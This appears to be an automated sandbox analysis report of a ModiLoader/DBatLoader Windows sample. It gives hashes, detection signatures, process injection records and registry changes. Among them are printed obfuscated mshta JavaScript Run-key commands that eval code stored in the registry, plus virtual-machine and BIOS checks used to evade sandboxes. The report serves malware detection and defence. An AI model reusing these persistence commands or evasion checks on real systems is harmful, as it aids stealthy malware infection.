Analysis
-
max time kernel
172s -
max time network
180s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
27-11-2022 01:28
Static task
static1
Behavioral task
behavioral1
Sample
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
Resource
win10v2004-20220812-en
General
-
Target
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
-
Size
367KB
-
MD5
be18c769b074b6c33024bacf89b00545
-
SHA1
3542792f1ceea460c1a152e7d8d2bb98339e49bf
-
SHA256
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac
-
SHA512
5d1f11337e734c75428751dd527f9896561e1043975e0a8c4e23f1b6cee2b056bbadd7dfa3a7af76793023055d2bce14050dfa69f7a94705d89be12c7562c651
-
SSDEEP
6144:V8CiJn+2dlueiAg4mvZl+i0bsvQYzNtzvMOZ31jppIELz3JgtCJuigau:bi9+2jjRyl+u5znz0e31jbI0JgIo
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions svchost.exe -
ModiLoader Second Stage 7 IoCs
Processes:
resource yara_rule behavioral2/memory/5116-133-0x0000000000400000-0x0000000000461000-memory.dmp modiloader_stage2 behavioral2/memory/1660-137-0x00000000006D0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral2/memory/1100-140-0x0000000000A00000-0x0000000000ABC000-memory.dmp modiloader_stage2 behavioral2/memory/1660-141-0x00000000006D0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral2/memory/1100-143-0x0000000000A00000-0x0000000000ABC000-memory.dmp modiloader_stage2 behavioral2/memory/212-145-0x00000000010F0000-0x00000000011AC000-memory.dmp modiloader_stage2 behavioral2/memory/212-146-0x00000000010F0000-0x00000000011AC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:BXE3ZjdQ=\"ENuOQDCRfo\";AV1=new%20ActiveXObject(\"WScript.Shell\");ZpqCWT81UA=\"NFmvJf73\";Slyc47=AV1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\82ff0a61\\\\a428b2ec\");otz5WyhV=\"vDh\";eval(Slyc47);TFDX3Lu=\"i\";" svchost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools svchost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:i7NbzHhS=\"kw0\";OF1=new%20ActiveXObject(\"WScript.Shell\");AmV8rXxlP=\"uPwn0U5\";zwHJ31=OF1.RegRead(\"HKCU\\\\software\\\\82ff0a61\\\\a428b2ec\");SCaAkzO70=\"ExyqMNNk\";eval(zwHJ31);sF90OfdBi=\"3JfyciPGq\";" svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:h2Ue0sXzcm=\"Ri4QiP2Pcs\";SD2=new%20ActiveXObject(\"WScript.Shell\");ch49AOCXvv=\"M9yUrwl\";mPR7S=SD2.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\82ff0a61\\\\a428b2ec\");vTm9niZW=\"xu3AsnGRTf\";eval(mPR7S);tk9AYsiv=\"sFK\";" svchost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum svchost.exe -
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4972 5116 WerFault.exe 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 1396 5116 WerFault.exe 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 1036 5116 WerFault.exe 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe -
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\International svchost.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exepid process 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exepid process 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe 1660 svchost.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exedescription pid process target process PID 5116 wrote to memory of 1660 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe svchost.exe PID 5116 wrote to memory of 1660 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe svchost.exe PID 5116 wrote to memory of 1660 5116 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe svchost.exe PID 1660 wrote to memory of 1100 1660 svchost.exe svchost.exe PID 1660 wrote to memory of 1100 1660 svchost.exe svchost.exe PID 1660 wrote to memory of 1100 1660 svchost.exe svchost.exe PID 1660 wrote to memory of 212 1660 svchost.exe explorer.exe PID 1660 wrote to memory of 212 1660 svchost.exe explorer.exe PID 1660 wrote to memory of 212 1660 svchost.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe"C:\Users\Admin\AppData\Local\Temp\8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 6202⤵
- Program crash
PID:4972 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 6402⤵
- Program crash
PID:1396 -
C:\Windows\SysWOW64\svchost.exe"svchost.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"3⤵PID:1100
-
C:\Windows\SysWOW64\explorer.exe"explorer.exe"3⤵PID:212
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 1402⤵
- Program crash
PID:1036
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5116 -ip 51161⤵PID:5012
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5116 -ip 51161⤵PID:3152
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5116 -ip 51161⤵PID:1844
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/212-146-0x00000000010F0000-0x00000000011AC000-memory.dmpFilesize
752KB
-
memory/212-145-0x00000000010F0000-0x00000000011AC000-memory.dmpFilesize
752KB
-
memory/212-144-0x00000000000D0000-0x0000000000503000-memory.dmpFilesize
4.2MB
-
memory/212-142-0x0000000000000000-mapping.dmp
-
memory/1100-140-0x0000000000A00000-0x0000000000ABC000-memory.dmpFilesize
752KB
-
memory/1100-143-0x0000000000A00000-0x0000000000ABC000-memory.dmpFilesize
752KB
-
memory/1100-138-0x0000000000000000-mapping.dmp
-
memory/1100-139-0x0000000000DF0000-0x0000000000DFE000-memory.dmpFilesize
56KB
-
memory/1660-135-0x0000000000000000-mapping.dmp
-
memory/1660-141-0x00000000006D0000-0x000000000078C000-memory.dmpFilesize
752KB
-
memory/1660-137-0x00000000006D0000-0x000000000078C000-memory.dmpFilesize
752KB
-
memory/1660-136-0x0000000000DF0000-0x0000000000DFE000-memory.dmpFilesize
56KB
-
memory/5116-132-0x00000000023C0000-0x00000000023F0000-memory.dmpFilesize
192KB
-
memory/5116-134-0x00000000023C0000-0x00000000023F0000-memory.dmpFilesize
192KB
-
memory/5116-133-0x0000000000400000-0x0000000000461000-memory.dmpFilesize
388KB